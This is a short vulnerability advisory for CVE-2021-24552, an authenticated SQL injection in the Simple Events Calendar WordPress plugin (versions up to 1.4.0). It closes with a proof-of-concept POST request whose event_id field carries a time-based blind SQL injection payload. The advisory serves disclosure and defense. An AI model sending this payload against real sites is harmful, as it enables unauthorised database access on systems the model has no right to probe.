Simple Events Calendar <= 1.4.0 – Authenticated (admin+) SQL Injection | CVE 2021-24552

Description

The plugin does not sanitise, validate or escape the event_id POST parameter before using it in a SQL statement when deleting events, leading to an authenticated SQL injection issue

Proof of Concept

POST /wp-admin/admin.php?page=simple-events&tab=existing_events HTTP/1.1
Content-Length: 33
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: en-US,en;q=0.9
Cookie: [admin+]
Connection: close

event_id=1%20AND%20(SELECT%204695%20FROM%20(SELECT(SLEEP(5)))wWPs)&delete=Remove